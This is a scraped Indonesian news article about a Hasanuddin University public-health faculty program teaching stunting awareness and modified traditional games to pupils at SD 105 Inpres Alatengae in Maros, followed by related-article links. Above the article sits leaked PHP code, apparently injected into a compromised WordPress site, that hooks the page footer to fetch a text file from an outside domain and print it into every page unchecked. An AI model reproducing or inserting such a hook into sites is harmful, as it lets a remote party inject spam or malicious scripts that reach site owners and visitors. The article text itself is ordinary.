function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');Fakultas Kesehatan Masyarakat Unhas Gelar Program Bina Desa Mahasiswa di Maros: Edukasi Stunting dan Permainan Tradisional untuk Anak SD - Suluh Nusantara

Home / Uncategorized

Sabtu, 5 Oktober 2024 - 19:13 WIB

Fakultas Kesehatan Masyarakat Unhas Gelar Program Bina Desa Mahasiswa di Maros: Edukasi Stunting dan Permainan Tradisional untuk Anak SD

Doc. Sabtu Budaya Bina Desa FKM Unhas 2024 Desa Alatengae Kabupaten Maros (Istimewa)

Doc. Sabtu Budaya Bina Desa FKM Unhas 2024 Desa Alatengae Kabupaten Maros (Istimewa)

Sabtu, 5 Oktober 2024, Fakultas Kesehatan Masyarakat Universitas Hasanuddin menyelenggarakan Program Bina Desa Mahasiswa di Desa Alatengae, Kecamatan Bantimurung, Kabupaten Maros. Kegiatan ini mengusung tema “Optimalisasi Intervensi Gizi untuk Percepatan Penurunan Stunting di Desa Alatengae Kecamatan Bantimurung Melalui Program Bina Desa Sehat”. Kepala Sekolah SD 105 Inpres Alatengae meresmikan pembukaan acara, didampingi oleh Ketua Tim Pelaksana Bina Desa Mahasiswa, Pajrul Falaq. Kegiatan ini dihadiri oleh  dosen pendamping Basir, SKM., M.Sc dan Laksmi Trisasmita, S.Gz., MKM ,warga setempat, murid-murid SD 105 Inpres Alatengae, para guru dan staf sekolah, serta Tim Bina Desa Mahasiswa dari Fakultas Kesehatan Masyarakat Unhas. Dalam rangkaian Sabtu Budaya, acara ini menyajikan berbagai aktivitas seperti penyuluhan dan sosialisasi tentang stunting kepada siswa kelas 4, 5, dan 6 SD 105 Inpres Alatengae sebanyak 78 siswa. Syadza Afra, mahasiswi Kesehatan Masyarakat, bertindak sebagai pemateri. Selain itu, kegiatan ini juga menghadirkan permainan tradisional yang telah dimodifikasi untuk menyisipkan pengetahuan tentang stunting, seperti Engklek atau Dende, Congklak, dan Ular Tangga Nutrisi (UTN) yang diikuti oleh 85 siswa.

Baca Juga  Departemen Kesehatan Lingkungan FKM UNHAS Bagikan 450 Takjil dan Stiker Ramadhan bagi Pengendara dan Pejalan Kaki
Doc. Penyuluhan dan Sosialisasi tentang Stunting (Istimewa)
Doc. Permainan Tradisional yang dimodifikasi pengetahuan tentang Stunting (Istimewa)

Universitas Hasanuddin menjalankan program tahunan yang diorganisir oleh setiap fakultas sebagai bentuk pelaksanaan Tridharma Perguruan Tinggi, khususnya dalam aspek pengabdian kepada masyarakat. Fakultas Kesehatan Masyarakat Unhas secara aktif melakukan kampanye edukasi tentang stunting. Stunting merupakan permasalahan kesehatan global yang kritis karena dapat menghambat kemajuan suatu negara. Kondisi ini mengakibatkan terhambatnya perkembangan kognitif dan fisik anak-anak, yang disebabkan oleh kekurangan nutrisi esensial. Akibatnya, anak-anak mengalami gangguan pertumbuhan dan memiliki postur tubuh yang lebih pendek dibandingkan dengan standar usia normalnya.

Baca Juga  Waste to Worth : Expo & Workshop Pengolahan Sampah

 

Share :

Baca Juga

Uncategorized

Dari Piring Sehat ke Generasi Hebat: Pentingnya Edukasi Gizi Seimbang untuk Remaja Putri

Uncategorized

Cegah Stunting di Jeneponto: Mahasiswa Posko 19 FKM UNHAS Kenalkan Metode EMO DEMO untuk Melatih Keterampilan MP-ASI Bayi

Uncategorized

Mahasiswa PBL II FKM Unhas Melaksanakan Edukasi dan Pembagian Kalender Tablet Tambah Darah (TTD) Sebagai Perwujudan SDGs 3 di Desa Bontomanai

Uncategorized

Departemen Kesehatan Lingkungan FKM UNHAS Bagikan 450 Takjil dan Stiker Ramadhan bagi Pengendara dan Pejalan Kaki

Uncategorized

Sebagai Upaya Peningkatan Mutu Pendidikan Berkelanjutan, Program Studi Magister Administrasi Rumah Sakit FKM Unhas Menggelar Workshop Pemutakhiran Kurikulum

Uncategorized

FKM UNHAS Gelar Screening Kesehatan dan Pembekalan PBL 3 untuk Mahasiswa

Uncategorized

“Aksi Sehat Bersama” FKM Unhas: Epidemiologi Bergerak untuk Skrining Penyakit Tidak Menular dan Edukasi Hidup Sehat di Desa Laikang

Uncategorized

Mahasiswa FKM Unhas Gelar Pengabdian Masyarakat di Kabupaten Maros, Edukasi tentang Bahaya Mikroplastik pada Produk Rumah Tangga.